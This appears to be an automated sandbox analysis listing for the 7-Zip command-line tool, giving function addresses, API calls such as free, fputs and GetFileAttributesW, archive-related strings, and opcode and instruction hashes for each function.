Instruction ID: df2879cc4c6eb6d290e1ea8add320f56c41de0886b3f75283d2a7acc04f4341a
Opcode Fuzzy Hash: d0aa5396e947f703ac514a2bac08324cffc8975aa9933586a56ea8b49374fbdb
Instruction Fuzzy Hash: 0041F726304A4091CB14FF16E8801AFAB65F795BE8F451235EF6D47768DFB8C89AC700

Function 00152ECC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00152F7E
fputs.MSVCRT ref: 00152F9D
free.MSVCRT ref: 00152FB6
free.MSVCRT ref: 00152FC1

Part of subcall function 00112C78: free.MSVCRT ref: 00112CAE

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

free.MSVCRT ref: 00152FCC

Strings

= , xrefs: 00152F96

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$fputs
String ID: =
API String ID: 2444650769-2525689732
Opcode ID: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction ID: 893257485d0f8a736df4f5dfd55d2947ca40d4e47addee562b897b7723239b7e
Opcode Fuzzy Hash: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction Fuzzy Hash: 87218523215940D1CB24EF15E8912AEA731E7E67D1F485232FF6E47669DF38C989C700

Function 0015E16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0015E1C2
__setusermatherr.MSVCRT ref: 0015E211
_initterm.MSVCRT ref: 0015E225
__getmainargs.MSVCRT ref: 0015E256
_initterm.MSVCRT ref: 0015E26A
_cexit.MSVCRT ref: 0015E29D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction ID: 2b1b4c022745e59dc404135af57f05b211f39b7b793987a3277f7baef60e2d5f
Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction Fuzzy Hash: 32314F71514B41CAEB44DF24E89039A77B1F3847A6F50023AEA6E4B7A4DF3CC549CB40

Function 0015E139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0015E1C2
__setusermatherr.MSVCRT ref: 0015E211
_initterm.MSVCRT ref: 0015E225
__getmainargs.MSVCRT ref: 0015E256
_initterm.MSVCRT ref: 0015E26A
_cexit.MSVCRT ref: 0015E29D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 93ae6f2d2ea99a8a91651a103bd1e33b80af02de2b37075b2d342007bc6f1cb4
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 0D211C75614B41C6EB44DF28EC9039A73B1F784766F500229EA6E4B7A4DF3CC54ACB40

Function 0015E15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0015E1C2
__setusermatherr.MSVCRT ref: 0015E211
_initterm.MSVCRT ref: 0015E225
__getmainargs.MSVCRT ref: 0015E256
_initterm.MSVCRT ref: 0015E26A
_cexit.MSVCRT ref: 0015E29D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 93ae6f2d2ea99a8a91651a103bd1e33b80af02de2b37075b2d342007bc6f1cb4
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 0D211C75614B41C6EB44DF28EC9039A73B1F784766F500229EA6E4B7A4DF3CC54ACB40

Function 0015E1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0015E1C2
__setusermatherr.MSVCRT ref: 0015E211
_initterm.MSVCRT ref: 0015E225
__getmainargs.MSVCRT ref: 0015E256
_initterm.MSVCRT ref: 0015E26A
_cexit.MSVCRT ref: 0015E29D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 93ae6f2d2ea99a8a91651a103bd1e33b80af02de2b37075b2d342007bc6f1cb4
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 0D211C75614B41C6EB44DF28EC9039A73B1F784766F500229EA6E4B7A4DF3CC54ACB40

Function 00134610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00143EE0: free.MSVCRT ref: 00143F45

free.MSVCRT ref: 00134633
free.MSVCRT ref: 0013463C
free.MSVCRT ref: 00134646
free.MSVCRT ref: 00134672
free.MSVCRT ref: 0013467A
free.MSVCRT ref: 00134687
free.MSVCRT ref: 001346BA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction ID: 53ac7680db598eb3b869b29fda5bd555977ac779dc01e5ce02a4543160452349
Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction Fuzzy Hash: EA114F63741A44A7CA28FE62D9921A92324EBA3BB0B1C4371DF3D17795DF24D8B28304

Function 0013419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001341B9
free.MSVCRT ref: 001341C5
free.MSVCRT ref: 001341D1
free.MSVCRT ref: 001341DD
free.MSVCRT ref: 001341E6
free.MSVCRT ref: 001341EF
free.MSVCRT ref: 001341F8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction ID: 40e44c2562abcc7c38337b22ae2049c09bccc30f4efceea52a8ebfaa1a99fb76
Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction Fuzzy Hash: C211B722311A4096CF18EF75D8A126D7320FBD2F99B184671EF6E4B765CF34C8568344

Function 00143A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00143C0C
free.MSVCRT ref: 00143C17
free.MSVCRT ref: 00143C22
free.MSVCRT ref: 00143C77
free.MSVCRT ref: 00143C82

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction ID: 0768c47e355909f5813f9bef297bdbe5e2c4aff5176c50da650f9eeafb793901
Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction Fuzzy Hash: 4D513472204A4491CB18EF25D4902EE6721F7E9FC8F944123EB5E97729DF78CA9AC341

Function 00151544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001515D5

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

Extracting archive: , xrefs: 001515C7
Open, xrefs: 00151604
Testing archive: , xrefs: 001515C0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: Extracting archive: $Open$Testing archive:
API String ID: 3543874852-295398807
Opcode ID: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
Instruction ID: 370fb3f6193067be59ef653ead8893b63925a7b8a545c84d6f5c928eba981a4f
Opcode Fuzzy Hash: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
Instruction Fuzzy Hash: A9118C72342A82D5DF559B29D9843EC2360E75AB99F588436DE2E4A260EF39C4CAC310

Function 00152E24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00152E47
fputs.MSVCRT ref: 00152E57
free.MSVCRT ref: 00152EA4

Part of subcall function 00152CFC: fputs.MSVCRT ref: 00152D41
Part of subcall function 00152CFC: fputs.MSVCRT ref: 00152DCF
Part of subcall function 00152CFC: free.MSVCRT ref: 00152DFF

Strings

= , xrefs: 00152E50

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free
String ID: =
API String ID: 3873070119-2525689732
Opcode ID: 4cca910cc9feef97d39b55c90a06b9effa51fec30a6b783ec7096b57ced3bdf6
Instruction ID: 7d8ffb9934b038bffbc00de74819c6dfafb64279f04ca85d9780a289162e1248
Opcode Fuzzy Hash: 4cca910cc9feef97d39b55c90a06b9effa51fec30a6b783ec7096b57ced3bdf6
Instruction Fuzzy Hash: 18F0676230490090DA24EB66EA553BD5311A7D6FF5F049321ED7D0BBA8DF3CC556C700

Function 001449B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00144A5C
free.MSVCRT ref: 00144A67
free.MSVCRT ref: 00144AE4

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 00144B0F
free.MSVCRT ref: 00144B1A

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: cd356717b46294ebbf87faeea91df8213fb96c8abb4be4db24926ca1e4725612
Instruction ID: 8e7e5b7a1cd34ccb2376464c9d9feb71c5014b2312def10560b1de2530a6a920
Opcode Fuzzy Hash: cd356717b46294ebbf87faeea91df8213fb96c8abb4be4db24926ca1e4725612
Instruction Fuzzy Hash: 8E416F23245B8492CB14EF25D4503AEB761FB9AB98F481132EB8E47729DF38C5A6C354

Function 0015E120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction ID: fb4d21387237b67426bf5cc944dc1a746c17fb5e79a0cec70aad114efa953f0c
Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction Fuzzy Hash: E8314F71614B41C6EB05DF28E89039A77B0F384BA6F504229EA6D4B7B4DB7CC58ACB40

Function 00112320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011237E
free.MSVCRT ref: 001123AB
fputs.MSVCRT ref: 001123B8
free.MSVCRT ref: 001123C4

Part of subcall function 00113274: memmove.MSVCRT ref: 001132AC

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$fputsmemmove
String ID:
API String ID: 4106585527-0
Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction ID: 43f4b93369c016cf77fbae99d9eeecc71f32d5a85f83469b0f975a63d7374f64
Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction Fuzzy Hash: B201526321884091DA24AB25E85119EA721E7E5BF4F045331FA6F876F8DF38C6D6C740

Function 001168A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 001168C7
SetFileAttributesW.KERNEL32 ref: 00116903
free.MSVCRT ref: 00116913
free.MSVCRT ref: 00116921

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction ID: 7963f2e2e6cc34fc7493893bb3ea0a059cbb3a4489bae34a432cdf2bcf7fa7e0
Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction Fuzzy Hash: 9C01F722304611D2C638AB2199802FE17249BD67F4F580335EE79873A4CF35CDC79710

Function 00117D4C Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 00117D6E
GetFileAttributesW.KERNEL32 ref: 00117DA5
free.MSVCRT ref: 00117DB2
free.MSVCRT ref: 00117DC0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction ID: d79ec9eae2fe6efc4434c45fbd5b6e9d08ca9e029286a0a5e2cdd9fb63135cea
Opcode Fuzzy Hash: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction Fuzzy Hash: 47F04966208A4481C934AB75AD902FD56309FDA7F4F580334EA79877F5DF24C9C68700

Function 00133E14 Relevance: 5.1, APIs: 4, Instructions: 142COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00133F66
memmove.MSVCRT ref: 00133F8B
free.MSVCRT ref: 00134028
free.MSVCRT ref: 00134033

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction ID: 3989a1390ac8bc32e5928abe4c6a461529b6a6e921fe0c7ad8368323b1ab739f
Opcode Fuzzy Hash: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction Fuzzy Hash: EF518C72704A80D7CB34DB26E88029DB361F789BD4F404226EBAE47B59DF38D5A5CB44

Function 00139BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00139C11
free.MSVCRT ref: 00139C19
free.MSVCRT ref: 00139C3B
free.MSVCRT ref: 00139D2A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2703c9f3fbddb521d8c4c51cfedb35860992798216a6655cd283f4a4fda484df
Instruction ID: 8e9f52d955bf5cb1464e929c2c90714dd85ad870f86d3f3e92ff4d2ffaf85a3d
Opcode Fuzzy Hash: 2703c9f3fbddb521d8c4c51cfedb35860992798216a6655cd283f4a4fda484df
Instruction Fuzzy Hash: 5731E0637156849ACB24EF16E48046EA7A1F7987A0F589235FF9E47758DF78C882CB00

Function 0013A9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013AA95
free.MSVCRT ref: 0013AAB8
free.MSVCRT ref: 0013AAC5
free.MSVCRT ref: 0013AAD2

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction ID: 30e4dfcbd2c44c9778be3d01c9c62957147838fdb1b06f756b53dc13cf2de114
Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction Fuzzy Hash: D1118A2220854051DE14EB65E5512EAA760EFE13F0F801371BBEE876E9DF68C98BCB00

Function 0013CF80 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

free.MSVCRT ref: 0013CFC9
_CxxThrowException.MSVCRT ref: 0013CFE6
free.MSVCRT ref: 0013D019
free.MSVCRT ref: 0013D021

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID:
API String ID: 3934437811-0
Opcode ID: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction ID: 7f9f0424970c8e2068ee413d5525e5f8617a2a08197c77d04782e3674c0047e2
Opcode Fuzzy Hash: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction Fuzzy Hash: 50117F637046809BCA24DF25E85039EA760EB927A4F484325EFAD0B7A9DF78C54AC700

Function 001301A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00130211
free.MSVCRT ref: 0013021C
free.MSVCRT ref: 00130249
free.MSVCRT ref: 00130254

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction ID: c7321116f96d43de1c0fb953226acfeab4264541b71507c14d80d5933223d87e
Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction Fuzzy Hash: BF01C82220454491CD24EB22F4551EE9721EBD67E4F481331BEAE576A9CF38C5CAC704

